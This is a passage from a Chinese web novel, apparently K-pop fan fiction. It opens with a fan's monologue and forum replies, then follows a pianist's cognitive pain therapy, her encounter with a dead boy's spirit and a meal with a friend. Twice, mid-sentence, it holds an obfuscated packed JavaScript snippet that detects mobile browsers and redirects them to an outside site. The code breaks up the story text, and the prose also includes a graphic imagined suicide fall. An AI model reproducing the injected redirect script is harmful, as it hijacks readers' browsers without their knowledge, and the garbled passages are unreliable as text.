可是老公啊,为什么你会和那个女人在一起? 我看见你们牵手在汉江散步,看见那个女人一伸手你就比狗还要听话的低头,看见她只用口罩贴了一下你的口罩你就恨不得把尾巴摇成螺旋桨。 老公,你知道你在干什么吗??? 我是你老婆对吧??我应该不是什么很贱的人吧?你为什么要让我看到这些!!! 老公,虽然去年我一直喊你是最可爱的小狗狗,但真的真的真的没有想让你做某人的舔狗啊! 你们在便利店甜蜜约会的时候,有没有想过你恨不得用湿巾擦八百遍桌子的背影真的很狼狈啊?!! 好,我安慰自己,我老公有洁癖,是这个世界上最爱干净的男人。 那你告诉我,为什么被她咬过一口嫌弃不肯吃的三明治你能吃得比在节目上表现得还要开心啊?你的豆德呢?你不是最会综艺效果的爱豆吗!! 老公。。。我恨你!! 从回来到现在,我哭了三个小时。 老公,我真的快死了你知道吗? 他们都说你是南韩第一赘婿,他们都说当你的梦女粉是圈子里最低级的粉丝。 以前我不信,现在我懂了。 在舞台上装出一副浪荡子的人设,什么东亚乖乖女的第一支烟, 结果你背着我偷偷去做东亚乖乖女的舔狗!! 老公啊,虽然你背叛了我,但是我还是好爱你啊呜呜呜呜。 对了老公,听说你现在住在瑞草洞是吗?真好啊,政商名流居住的黄金富人区,当了大小姐十年舔狗总算实现阶级跃升了。 祝贺你啊老公!!!对了,你现在具体住的是哪一个别墅区啊? 我真的很爱你,我也没有别的意思,更没有带刀过来,所以你能给我开门吗?我真的只是想最后见你一面呜呜呜呜! ———— 1L: 好哈哈哈哈哈哈哈看到第一赘婿喵姐 2L: 好笑吗?我只看到了一个绝望的梦女 3L: 虽然很惨哈哈哈哈但是怎么还会有人这么想不开去做他梦女啊?他刚出道不是就被爆出来和大小姐从高中就开始谈了 4L: 哪个大小姐? 5L: 哈哈哈哈毕竟有小半年没见了,小别胜新婚,理解一下 6L: 东亚乖乖女的第一支烟私底下偷偷去当东亚乖乖女的舔狗 哈哈哈哈哈哈俺真的不中咧!! 7L: 天天叫他最可爱的小狗,现在他真做狗了你又不乐意(撇嘴 8L: 你们都在笑,只有我在哭 玛德真让他给舔到了,凭什么啊!! 9L: 回复4L 能不能自己去组里看看,我真的不想义务教育了!! 10L: 听说南韩论坛带那位大名的帖子都会被删掉,真假啊? 11L: 楼上你去搜一下N站P站C站投资商列表里都有谁就知道答案了。 12L: 也没必要这么绝望吧,这不是一直没有媒体爆出来吗? 乾坤未定,你我皆是嫂子(狗头叼玫瑰 13L: 楼上你再看看南韩几大八卦杂志社的投资商都有谁呢(狗头叼玫瑰 14L: 笑死,难怪KJY和LYS谈了这么多年也没一家媒体爆恋情瓜 15L: 准确来说是不能带LYS的名字 16L: 前几年D社不是拍到了两人的照片吗?那次应该也算吧 17L: 后面都没到半年D社不就被收购了? 18L: D社:哈哈,我们拍到KJY和LSY的照片,独家拿下! 李在叙:你现在再看看呢?(玫瑰 19L: 我勒个父爱钞の力啊 20L: “女儿是妻子留在这个世界上最宝贵的遗物” 这句话的含金量还在上升 21L: 这件事最搞笑的是D社把照片发出去以后小韩那边的舆论评价—— 小韩网友:能不能发点我们不知道的事情看看? 22L: D社:已C8 Shake it啊!把老子当日本人整是吧?! 23L: 那么问题来了,既然没有家媒体敢爆 他们的恋情是怎么被挖出来的啊? 24L: 。。。。SS 以及某人蠢蠢欲动的jeff瘾 25L: KJY:日子怎么可能跟谁过都一样呢?(星星眼 26L: KJY:如果你知道我谈了LYS你也会觉得我很好命(狗头叼玫瑰 27L: KJY(伸出右手):人生は掌を反す如し! 28L:回复27L 君の立本语本当上手 29L: KJY的jeff瘾是真的大 我还记得他当时在综艺里一口一个女亲演豆不演了 30L: 谁懂唯粉去年在看话神时的崩溃感!!! 小小的老子在屏幕前原地化身可云表情包—— 啊?啊!(窒息)谁来救救我?KJY到底是我疯了还是你疯了?!!(崩溃尖叫)(吸氧)(翻白眼) 31L: 路人+1 (袁丽表情包)啊?这是可以说的吗?! 32L: 没看过有没有友友repo一下 33L: 根本po不完!整场节目基本都在cue 关键KJY说完还龇个大牙 看给他美的 金熙善:女亲最近回来了吗? 申东烨:听说在什么白房子演出啊 金熙善:阿尼呀,是白宫啊白宫 KJY:内 说完以后就低头捂脸傻笑 怎么,女朋友在白宫给总统就职典礼演奏把你小子给美到了是吧?是你弹的吗你就在那傻乐 34L: 还有最经典的那段—— 金熙善:怎么确定关系? KJY:把人带到朋友面前揽着肩膀直接说这是我女朋友 金熙善:那做过几次,成功了吗? KJY:做过一次,被痛骂了一顿,教训得很惨 金熙善:那后来呢? KJY:关心她,体贴她,纵容她,做她唯一的好朋友,然后哭着求她和我交往 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哄堂大笑了家人们 35L: 台上Daddy台下Puppy(舌头灵活版) 就。。。怎么不算是一种反差萌呢? 36L: 舌头灵活。。(小脸通黄) 37L: 我记得他早几年还有稍微装一下的吧 38L: 他早年真的还不是这样的。。 不过可能有两个原因 一个是因为最开始那几年刚出道 还有一个就是11年那次被举报XD事件这俩人的名字都被放在一起了 大家都扒出来他们是高中同桌并且好像悄悄有在谈 完全没有瞒的必要了吧 39L: 我勒个出道自带嫂啊。。。 40L:回复38L 11年那次!!害得他被网暴得有多惨啊?!!永远不会原谅那个女人的!! 41L: 楼上ldjj收收味,差不多得了 不是后面澄清了压根就是造谣吗 岳父大人专门开了新闻发布会还发动了父爱の钞之力了 还想怎么样啊? 42L: 又一家新闻报社の坠落(悲 43L: 楼上ldjj确定不要这个嫂子吗? 那我家诚心接! 一想到我家有一个长得漂亮还不作妖的大艺术家嫂子 对家也会觉得我好运的! 44L: 不过话又说回来,她的水平到底怎么样啊? 诚心发问 45L: 南韩历史上第一个日内瓦肖赛柴赛大满贯冠军 在此之前南韩从未在钢琴方面有过任何荣誉 甚至她14岁就拿了日内瓦公开赛的冠军 现在依旧是官方最年轻的记录保持者 这么说吧,就算是她现在骑在韩国总统头上上厕所估计南韩网友都会体谅人有三急的程度 46L: 楼上比喻得也太糙了吧!! 47L: 赛事上的成绩还是其次她的录音质量是真的很高的。。 出道莫扎特那张录音就是留声机三星带花+企鹅三星+金音叉大满贯 很多演奏家一生都没办法拿到那么多成就 人家20岁不到已经都拿完了 48L: 说个更缺德的 KJY还没拿过格莱美呢人家格莱美的奖杯已经够批发的了 虽然格莱美的古典乐部门一向不太权威就是了。。。 49L: 所以说真的很好奇啊就这嫂子ldjj到底还有哪里不满?? 真要找个仙女啊? 50L: 错误的,不客观的,就算找个仙女也会有ldjj们挑刺 Tour上:欧巴你一定要幸福啊 实际上:欧巴你也别太幸福了,你幸福了我怎么办啊?!!(爆哭 51L: 哈哈哈哈哈哈哈哈俺真不中咧! 21.问题病人李艺率(上) “最近过得怎么样?” “还行。” 还是熟悉的开场,一样熟悉的场景,不过今天对话的地点发生了变化。 进入12月以后,李艺率正式开启了新一阶段的大脑认知纠正治疗,而为了配合疗效,朴贞淑的私人心理诊室也在父亲钞能力的加持下,迁移至银河集团旗下的医学研究院。 “最近的治疗进展有让你觉得不适的地方吗?” 朴贞淑拿着笔不断在评估表上勾画,态度十分随和亲切。 认知疗法的过程十分漫长,从最初的神经教育开始,通过行为实验,让她逐步适应对疼痛的恐惧预期,同时在物理和心理的双重干涉下让大脑重新构建感知模式,最终使得大脑的奖励系统重新参与调控疼痛。 而要如何骗过大脑,则是整个过程中最为核心的关键。 在2004年,这样的治疗方法尚属前沿,此前只有疼痛学的专家提出理论上的依据作为支撑,李艺率也算得上是第一批临床患者。 李艺率:“还不错,都可以适应。” 每次问诊时,她一直都是这样平静乖巧的模样,看上去像是极为配合治疗,但朴贞淑却认为她实际上是很有自我主见且十分悲观的“问题病人”。 想到这里,朴贞淑的语气听起来更加平缓亲切了些,“好久没做正念冥想训练了,我们今天试着放松一下如何?” “嗯。”李艺率点点头,十分配合地将沙发放倒至半卧状态,随着朴贞淑轻柔的引导语,放缓呼吸阖上双眼。 室内的白噪音发出沙沙流动的声音,刻意营造出胚胎尚在母体中时,聆听着血液流动的寂静平和。 空气中又传来熟悉的雨后泥土的气味。 暖色调的灯光,舒适的躺椅,朴贞淑的声音平稳坚定充满了接纳感。李艺率的肩膀随之一点点被融化,脚底有了接触地面的感觉,意识也逐渐模糊起来—— “你现在回到了你觉得最安全的地方,能告诉我,这里是哪里,里面有什么吗?” 记忆的硬盘被读写,李艺率又回到了熟悉的家。 冬日里疏于打理显得有些不修边幅的灌木丛搭配几株间距相同的白桦树,在有条不紊中多了几分漫不经心。方正的平顶水泥盒子,表面打磨得一丝不苟,唯有雨水在墙角蚀出几道浅痕,像是从建筑里长出来的一张张没睡醒的厌世脸。 高挑的拱窗每一扇都装有内嵌式百叶帘,冬日的阳光透过缝隙洒了进去,时间被刻意凝固,唯有空气中断断续续的音色流淌着稚气又富有天真的色彩,柔和了九十年代冷峻建筑的棱角。 透过百叶窗的缝隙,李艺率看见了一个约莫四五岁年纪,扎着双尾发辫坐在琴凳上背对着她弹奏钢琴的小女孩,房间另一侧的沙发上,一个穿着鸡心领毛衣背心的中年男子正听着摇摇晃晃的音色低头翻阅报纸。 明明是陷在沙发里的姿态,他也刻板着腰背坐得笔直,衬衫袖口和西裤下摆整齐得一丝不苟,阳光勾勒出他鬓角的微霜,阴影模糊了他的脸,却自动描摹出一张在无数个午夜梦回时让李艺率不由自主落泪的脸。 身后传来如同附骨之疽般低沉的声音:“哦莫,好怀念啊,这是五岁的那年吧?” 具时望的嗓音略带沙哑的恶意,像是终于抓到了什么要命的把柄—— “可是艺率啊,人是不可能回到过去的。” 随着他的话音落下,李艺率的心跟着猛然一紧,下意识地抓住了朴贞淑的手,眼皮轻颤,手脚也不由自主地僵硬起来。 走开,走开!讨人厌的具时望,从小到大只会欺负她的坏家伙! 她无声地在心底呐喊着,咬紧了牙关却说不出一个字。朴贞淑轻缓平稳的声音还在耳边安抚着:“艺率啊,没关系,别紧张。我们现在很安全。是不喜欢这个地方吗?还是有什么让你觉得不喜欢的人?” 是不喜欢吗? 她轻颤着牙齿,眼角有液体扑簌簌滑落,哪怕是身处于潜意识的空间,她的视线也是一片模糊。 但很快她就发现,被模糊的并不是她的想法,是那张脸,是她看见的一切场景,是她的全部视线。 她不知道自己哭了,也不明白自己为什么会哭。 她觉得委屈极了,她的委屈大到像洪水一样在她的身体内席卷吞没了她,最后失守地从她的眼眶里流出来。 是不喜欢吗? 她闭着眼颤抖着说不出一句否认的话,隔了好长一段时间,才艰难地挤出一句,我不要呆在这里。 朴贞淑握紧了她的手,覆在她的手背,用语言为她建立了一个安全的巢穴:“好,那我们现在就离开,去到你想去的任何地方,只有你一个人的地方……哪里都可以。” 视线闪过短暂的花白,天空倒映着阴郁的灰,医院从最高处俯瞰下去,像一个巨大的白色坟冢。脚下是水泥地面,她的身体被禁锢在轮椅上,如影随形的疼痛始终没有被遗忘,李艺率隔着天台的铁丝围栏,注视着一成不变的阴霾。 朴贞淑:“怎么了?是回到了熟悉的地方吗?” 李艺率:“嗯……回到了,医院……天台。” 闻言,朴贞淑的心骤然空了一瞬:“艺率啊,你现在……看着这个熟悉的场景,会让你觉得痛苦吗?” “不会,”脑仁激起一阵翻滚的疼痛,在与身体的沉疴叠加下,李艺率看到自己的身体不受控制地从轮椅上站了起来,感受着脚踩在水泥地面上坚实又让人安心的触感,摇摇晃晃地、蹒跚地走向围栏地边缘。声音平和,近乎是透露着某种狂热的向往和憧憬,“我要跳下去了。” 朴贞淑在一瞬间收紧了握着李艺率的手指,她的心跳不受控制地撞击胸口,却还是嗓音平稳却坚定地开口道:“没关系的,你看见了吗?底下有一张网,它会在你每一次下坠的时候稳稳接住你,就像之前我们做过的每一次那样。别怕,你不会受伤的。” 眼前再次出现了那张巨大的,柔软富有弹性的安全网,温柔地散发着暖黄色的微光。 身体再一次随着潜意识下坠—— 自杀本身就是一件极为痛苦的事,其过程的痛苦程度在很多时候甚至远超为之寻死的瞬间。 克服了对高空的恐惧,身体承受着强烈的失重感,风在耳边呼啸,她却只感觉到某种近乎于轻盈的解脱。 她的身体又一次穿过了安全网。 看着自己的身体坠地,意识却没有在瞬间被剥离。骨骼断裂,肢体被扭曲成歪斜不堪的形状,五脏六腑在高空坠落时破碎,血从她的身下蜿蜒成一道暗红色的小溪。 耳边一直持续着的,像是老式电视失去信号时噪音般的蜂鸣在发出一声急促的长音以后便消失了,她感觉不到疼了。或者说,疼痛随着她的坠落被剥离成了某种遥远的东西,像隔着玻璃观察一场暴风雨。 “艺率啊,底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087581|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的网接住你了吗?” 眼前的画面开始扭曲,巨大的白色坟墓如融化的蜡般坍缩,她在前所未有的宁静中听见了朴贞淑的声音。 “嗯,接住了。” 尖锐的蜂鸣再度占据耳膜,熟悉的疼痛又一次如潮水般涌入,脑海中那具扭曲着四肢的,残破的躯体占据了视线。 她睁开眼睛,直视着站在朴贞淑背后,脸上挂着恶意微笑的具时望,平静地答道。 * 走出诊室前,朴贞淑带着鼓励的话还在耳畔回响:潜意识是人脑中经过无数次打磨的决策系统,从生物学的本质来说,它能更直接地反映个体当下的真实状态。情绪或许会骗人,但潜意识一定代表了你最真实的渴望。 “所以艺率,试着去拥抱接纳最真实的自己吧。” 李艺率点点头,颔首鞠躬以后转身带上了门,随身跟宠具时望插着口袋跟在她身后,嘴里还说着风凉话:“真的是从美国读完PHD回来的医生吗?感觉水平也就那样嘛。” “毕竟我也是一个不诚实的糟糕病人嘛。”李艺率闻言挑眉,也学着他说话的语气自嘲道,“不过话说回来,你这家伙真是相当会纠缠啊。” 李艺率:“之前明明连学校都懒得去了,怎么一到医院你就非得跟着,闭上眼睛都是你这张讨人厌的脸。” 她回过头,看着具时望的眼神满满都是嫌弃:“明明跟在我身后,但是每次都眼睁睁看着我出糗……”李艺率旧事重提,又抱怨起之前碰到东永裴的尴尬瞬间:“就像之前碰到小权朋友那次意外,你明明就跟在我身后,倒是提醒我一下啊!真是个一点用处都没有,只会招人讨厌的家伙!” 具时望却只是勾起记忆中微笑的嘴角弧度,拖长声音道:“欸——那像我这样讨人厌的家伙,艺率要把我丢下吗?” 李艺率轻嗤一声,垂下嘴角转过身没有回答。 过了许久才有一个声音伴随着脚步声消散在空气中。 “不会丢下你的。” * 下了电梯,穿过长廊,研究所的大门停了一辆黑色的厢式轿车。轿车,准确的说是灵车旁,一行人神情肃穆,眼神哀伤空洞地注视着敞开的后厢位置,一位年轻憔悴的母亲正匍匐在厢尾,搂着一个小小的裹尸袋哭得肝肠寸断。 前台接待小姐叹息的声音传来。 “听说是夜里突发高热,母亲看护的时候因为太累睡着了,等醒来的时候已经没有体温了。” “才8岁,好像已经在做移植手术的准备了,真是可惜。” 是啊,一个鲜活脆弱的生命,真是太可惜了。 这位小病人是集团某位高层的幼子,从确诊患病以来在研究院已经住了近两年的时间,同李艺率也有过数次交集,是个非常爱笑,笑起来会露出小虎牙的可爱男孩。 而现在,他被蜷缩着装进了漆黑的裹尸袋,只能隐约能辨认出孩童的幼小轮廓。 年轻母亲崩溃的哭声剐着李艺率的耳膜,她站在原地伫立许久,继而缓缓转身重新穿过长廊,按下电梯上行键。 厢门打开,在她迈出脚步踏入的一瞬间,具时望的声音响起:“你应该知道,像这样因疾病死去的孩子,未必有机会留下……” “我想去找他。”李艺率的打断了具时望未尽的话,她望着空荡荡的电梯轿厢,喉咙发紧,声音轻得几乎听不见。 “我想要找到他。” 22.问题病人李艺率(下) 研究所四楼,除却零星几间病房外,只有几扇紧闭着的实验室大门。 李艺率在男孩生前的病房找寻了一圈,却始终没有发现熟悉的,闪着类似微弱蓝光的摇晃虚影。 具时望犹在她耳边泼冷水:“都说了,那么小的孩子未必会……” “少说这些话了,你这个内心阴暗的家伙。”李艺率将四楼整层找了个遍,打断了具时望的风凉话。眉眼间不知为何带上了她自己也无法理解的焦灼,心里那股莫名的冲动愈来愈强烈,“我想找到他。” 她的尾音竟下意识带上几分哀求:“具时望,我要找到他。” 具时望静默良久,轻叹一声。他眉宇间浮起她再熟悉不过的无奈神色,音色中多了些说不明的诱哄意味:“你记得他长什么样吗?” 李艺率愣了愣,脑海中下意识浮现出男孩因疾病而格外瘦弱的苍白小脸,那双爱笑的、透着灵气的眼睛。 下一刻视角一闪—— 四楼靠近窗台的病房门口,蹲着一个小小的、穿着病房的身影。 ……奇怪,刚刚那个地方明明什么都没有吧,到底是怎么突然出现的? 李艺率心中兴起一阵转瞬即逝的茫然,但心神很快又被那孩子占据了去。 “你……还好吗?” 似乎是察觉到了她在原地踌躇着不肯上前,孩子抬起头,那双黝黑的眼睛注视着她,发出了怯生生的声音。 李艺率这才像是被人唤醒一般,走到男孩身边,也没管地上脏不脏,径直地坐下了:“我很好,你呢?” 男孩:“我、我不知道。” 李艺率:“你现在感觉怎么样?对了,你叫什么名字?” 男孩低下头,手指无意识地抠着地砖缝隙,像是在努力用儿童尚且稚嫩的思维努力组织语言:“身体轻飘飘的,好像缺了一块。但是……并不感到难受……所以、应该算还好吧。” 说着,他又有些苦恼地思索了许久,才有些难为情地支支吾吾道:“我……忘记自己叫什么了。” 闻言,李艺率下意识地看向具时望,他摊开手耸耸肩一副爱莫能助的姿态。 李艺率:“为什么他的脖子上没有东西。” 她指的是之前在文智慧、金永敷等人身上看到的纠缠着他们灵魂的枷锁。 具时望:“谁知道呢,或许只有那些因意外死亡而故去的灵魂,那些在人们看来,对这个世界还会有执念的亡人才会被束缚吧。” 这样的回答叫李艺率更不解了,“那你呢?” 你明明就不是会因为什么执念、心愿这样可笑的理由而困囿的性格。 可这样的你,为什么还会这样鲜活地出现在我眼里? 她问得很含糊,甚至没有一句像样的主语,具时望却像是被透彻地与她分享了同一份默契。他嘴角绽开一如既往的,看上去装模做样又极其矜贵的轻笑。 “因为我是为你而生的啊,艺率。” 一个茫然的念头在脑海中被突然抓紧,模糊地像一团被白雾笼罩的影子,转瞬便从李艺率手中溜走,却又莫名让她生出了不敢再去触碰的勇气。 * 李艺率坐着与小男孩聊了很久,话题也很跳脱,没看完的动画片,学校,朋友,小动物,所有这座白色坟墓外一点微不足道的话题,大概都能引起他的兴趣。 大理石地面冰冷硬实,挤压着她瘦弱的皮肉和脊椎,她换了一个姿势靠在墙上静静聆听,始终没打断男孩的好兴致。 直到他终于结束花了漫长篇幅阐述完对小狗狗的喜爱后,才用亮晶晶的眼睛注视着她,“还没问你喜欢什么呢。” 李艺率只是皱皱鼻子,露出一个嫌弃的表情:“我没那么喜欢狗。” “为什么?!”男孩听完大为不可置信,“小狗多乖多可爱啊?!” “如果是对所有人都乖巧可爱的小狗,我不喜欢。”李艺率用手撑着下巴,做出了个类似思索的表情,似乎一点也不在意她的交谈对象是一个年仅八岁的男孩灵魂,认真地回答道。 男孩闻言只是似懂非懂地眨了眨眼睛,继而又将手搭在膝盖上,歪着头问:“这样啊。可是姐姐,我刚才问的明明是,你喜欢些什么啊。” 李艺率注视着那双黑白分明的眼睛,思绪又被拉回了一个小时以前的治疗。 朴贞淑问她,是不喜欢吗? 真奇怪,明明是在问她的喜好,为什么脑子里总会闪现出逃避否认的回答呢? 她沉默良久,以往在耳畔始终回荡着雪花杂音的破旧收音机像是终于接收到了信号,无数个声音像突然失控的电台留声般在她的脑海中盘旋喧嚣。 ——‘我们艺率最骄傲的东西都被打碎了,连一点尊严都没有留下。’ ——‘艺率啊,这样活着真的还算是个人吗?’ 她猛地攥紧手指,指甲深深陷进掌心。 是啊,现在的她就连忍受煎熬活下去都已经是鼓足勇气拼尽全力了,还有什么资格去谈论喜好。 ——‘抽离痛苦最好的办法不是逃避,而是鼓起勇气去拥抱和接纳。’ ——‘艺率啊,试着去接纳拥抱最真实的自己吧。’ 声音从四面八方钻过来,像是充满诱惑的低语,听起来却这样残忍,叫她几乎喘不过气。 拥抱?接纳?开什么玩笑,这个世界上哪有用嘴巴一碰就能轻松实现的事情! 所有人都告诉她要坚强起来,可是到底该怎么坚强却从来没人教过她。逃避究竟有什么不好?!她光是站起来就几乎花光了活下去的勇气,从来没有体会过和她相同痛苦的人,凭什么摆出一副感同身受的假惺惺姿态! ——‘就因为这么随便的理由轻易放弃不觉得可惜吗?’ ——‘虽然觉得很辛苦,但是我从来都没有想过要放弃哦!’ ——‘太深奥的话我也不太懂啦,但一想到有一天可以实现我的梦想,就会发自内心地觉得愉快起来。’ 又来了,讨厌的小权。 什么梦想,什么就这么轻易放弃未免太可惜了,他明明什么都不懂……怎么能这么轻易地说出这种天真又固执的大话! “姐姐,你还好吗?” “你看上去好像很伤心。” “如果这是一件让你很难回答的事情,你可以不用理会。” ——你可以逃避。 ——够了! ——停下! 无数个声音被耳膜放慢挤压成低沉的呓语,渐渐融合成同一个频率,就算捂住耳朵,还是会反复从她的指缝间钻过,它们被化作审判的利剑,在神经上降下无休止的凌迟。 冬日的风吹过,带动着露台的门嘎吱作响,李艺率恍惚看见露台的门被推开一道缝隙,苍白的光线斜斜地切进来,在地面上投下一道细长的影子,尘埃在光影中跳动地打着旋。 她模糊的视线里出现了一个小小的身影。 小小的身影穿着一件雪纺质地的红色波点公主裙,与当下接近零度的气温相比显得那样格格不入,却让她恍惚感觉到熟悉。 啊,她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092504|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了,那是她六岁第一次登台时穿的裙子,现在被好好的封存在柏林老房子的旧衣柜里。 年幼的女孩怒气冲冲地走过来,抬手便是连珠炮般的责问:“我长大以后竟然成了这样一个只知道逃避软弱的大人吗?那我的努力又算什么呢!” 李艺率想要解释,想要说出自己的委屈,想要告诉年幼的自己她这一年来一直活得好辛苦,想求那个小小的自己别对现在的她感到失望……可声带像是被冻住了一般,嘴唇焦灼地翕动发不出任何声音,只能无助地看着那个闹脾气一般急匆匆转身离去的背影。 裙角随着风轻扬的频率摆动摇曳,将她的记忆拽回了纽曼斯剧场的后台—— 穿着西装打着领结郑重到仿佛是人生中最重要一场演奏的海因兹坐在她身边,他问她,告诉我,我的小莫扎特,为什么喜欢钢琴? ——‘喜欢这种事情还需要什么理由吗?’ 年幼的她早早接受了繁杂的家庭教育,词汇量比起普通同龄孩子要多出许多,仿佛这是一个简单到甚至根本不需要转动脑子思考的就可以脱口而出的答案, ——‘人的一生是很短暂的,甚至很有可能在明天就会死去。但只要一想到在我死后,我的音色会屹立在钢琴演奏艺术的金字塔尖,那不就证明我的存在是永恒的了吗?’ 海因茨当时的反应是什么?她已经有些记不清了。 好像是怔住了,又仿佛是被某种无形的力量击中,冰封多年的湖面终于裂开一道缝隙。 皱巴巴的古板老头像是终于卸下了某种沉重的姿态,向来挺直的脊背微微前倾,声音也比往常柔和了许多,那双布满皱纹的手轻缓地落在了她的发顶,嘴角克制地扬起一个几不可见的弧度。他说,小天才,今后你的人生一定会比我更加璀璨耀眼。 他说,现在,去拿下属于你人生所有荣誉中的第一个里程碑吧。 一把突如其来的钥匙,咔哒一声,打开了某个上了锁的匣子。 这一年来所有的痛苦挣扎、怯懦不安在一瞬间仿佛被某种近乎莽撞的力量冲破,消散殆尽,如同太阳猛地撕破重重的阴霾一下子冲出地平线,霎时间一切黑暗都无处遁形。 胸口有什么东西正在苏醒,传来细微的震颤,蛰伏许久的疼痛兴奋叫嚣着、畅快冲刷着每一寸神经末梢,李艺率失控地眩晕着,察觉到指尖正不受控制地微微颤抖,却不是因为恐惧——而是一种久违的,近乎雀跃的悸动。 具时望早就不知道跑到了哪里。 此时空旷的医学院四楼只剩下男孩安静地坐在病房门口,沉默地等待她的回答。而她也终于有勇气直视那双黑白分明的镜子,并从镜子里看见了狼狈重生的自己。 “我喜欢弹钢琴。” “是只要一想到就会让我觉得发自内心感到愉快的那种喜欢。” * 下午四点,正在坐在地下练习室百无聊赖看着前辈们练习的权至龙接到了李艺率的电话。 李艺率:“你在哪里?” 权至龙满头雾水,大周末的他除了在公司还能在哪里,“在公司练习室,突然打……” 没等他说完,电话那头的声音便直接打断,音色穿越信号在话筒中被渲染出莫名狂热兴奋的质感:“我刚刚想到一件非常重要的事情。现在,你是想出来和我一起吃个饭,顺便听我完整讲述这件事情的经过,还是继续呆在公司看前辈练习做你的打杂跑腿小弟?” 权至龙:“…………” 看似给了两个选择,但这未免也太好选了吧! 23.那就做个约定吧 李艺率先一步到达了和权至龙约定好的商场,趁着时间还早,她在超市里闲逛着买了两包湿纸巾备用——随身携带的那条手帕在医学院擦过脸以后被不知疾苦的大小姐随手丢掉了。 等在排队结账时,她身后一行人的声音吸引了她的注意。 身后是三个约莫十八九岁的少年,为首少年的长相叫她多看了几眼—— 真奇怪,这个脸蛋尖尖的,鼻子尖尖的,连眼角都带着锐利弧度的少年,五官组合起来却有一种难以言喻的柔和感,看上去好脾气极了。 此时他正有些苦恼地看着身后的两个弟弟,似乎是因为超出了预算而头疼不已。 “呀,不是说好了只买拉面的吗?” “可是哥,”身后一个抱着大瓶汽水个子瘦小的少年晃了晃瓶子,发出十分没眼色的声音,“这是我们等下去吃炸鸡排的时候要喝的啊。” 可是这样一会吃炸鸡排的钱就不够了啊……朴正殊无奈地在心里叹了一口气。 趁着最近的碎片时间,送牛奶和报纸赚了点钱,于是打算带着成天喊饿的弟弟们去吃点好吃的,结果没想到这两个小子这么不懂眼色。 眼见前面的女孩已经拿着两包湿巾准备付款,李赫载和申东锡飞快将手里的商品放上收银台结账,看上去一副生怕哥哥反悔的模样。 朴正殊:“…………” 都已经这样了总不至于开口说不让买,他只能无奈地从口袋里掏出钱等待结账,心里盘算着超出的经费只能从他的那份炸鸡排里扣了。 “请问就这些了吗?” 收银小姐的声音让李艺率回过神,看着眼前无奈到快要碎掉的少年,李艺率伸手将收银台边缘的汽水推到收银员跟前,“还有这个。” 收银小姐困惑地看了她一眼,又露出了一个心照不宣的暧昧眼神,在朴正殊三人还来不及反应的间隙用扫码器刷标码,接过李艺率的信用卡快速滑过卡槽。 朴正殊:“…………” 李艺率拿着两包湿纸巾便匆匆离开,朴正殊愣在原地看着她的背影,心里复杂万分。 被一个比自己年纪还小的女生同情了啊…… 身边两个没眼色的小子还在挤眉弄眼说着被漂亮妹妹请客喝汽水了,朴正殊苦笑,一时之间竟也说不好究竟是应该无奈,还是该为此感到窃喜。 “您好,现在结账吗?”收银员的声音传来。 “内,麻烦您了。” 朴正殊回过神,将手中的钱递给收银员,心里却还在回味那份短暂偶遇的善意。 * 二十分钟后权至龙骑着自行车匆匆赶到约定地点,李艺率显然已经等候多时。 “太慢了小权!” “我两个轮子怎么跑也快不过你的四个轮子吧!”他一路上都已经是抡着两条腿骑得飞快了! 两人将自行车停好,权至龙又接过李艺率递来的湿纸巾抹了一把汗,狮子座的青春期少男果然是火气很旺。 权至龙:“怎么突然约我出来吃饭?” 他这短短一路上不停头脑风暴,暗自揣测事态已经紧急到了哪种程度,竟然能让李艺率主动开口约饭。要知道,上一次由李艺率主动提出吃外食还是在好几个月前。 “因为心情好。”像是解决了一桩头等大事,李艺率的眼睛明亮,眼尾微扬,发出了理直气壮的声音,“我刚刚在超市排队结账的时候听到后面的人说要去吃炸鸡,我也要去吃快餐!” 权至龙:“……你还是小孩子吗?!” 虽然嘴里一直在吐槽,但在很多事情,尤其是吃饭这件事上,权至龙向来拗不过李艺率的意愿。 两人在商场的餐厅标牌地图前看了一会,找到了熟悉的快餐品牌,他看向身边问道,“要不去吃乐天利?他家虾堡和炸鸡套餐都还不错。” 早在外来快餐品牌进驻韩国市场前,乐天利就以本土化产品占据了大量的市场份额,是时下年轻人比较喜爱的快餐品牌之一。 可李艺率却摇头拒绝:“他们家食材卫生有问题,过段时间报纸上就会出相关报道了。” “……真的假的啊?!” 上层财阀的消息比一般公众要灵通许多。 想到李艺率向来的有的放矢,权至龙露出一副偶像塌房不敢置信的表情。 最后还是选在麦当劳就餐。 作为早在上世纪八十年代就进入市场的外来品牌,经过十几年的改良,麦当劳在本土化和价格上的调整程度已经更贴近韩国人的口味和习惯,甚至在2004年推出了泡菜奶酪汉堡这种让人两眼一黑的菜单。 在吧台点餐时李艺率全程扮演着权至龙的随身挂件,这样的表现当然与她相对被动的性格因素有关——是的,虽然两人相处时看上去总是李艺率占据上风,而权至龙充当受气包的角色无奈妥协,但细究起来,权至龙反而是那个更主动外向、善于社交的角色,类似于在外点餐这种需要沟通的任务大多会分配给权至龙。 这也会让权至龙偶尔深思起李叡承那句‘性格害羞内向’的评价了。 但抛却性格因素不谈,这副生疏的模样看上去完全就是个第一次被父母带着吃快餐的小孩啊!! 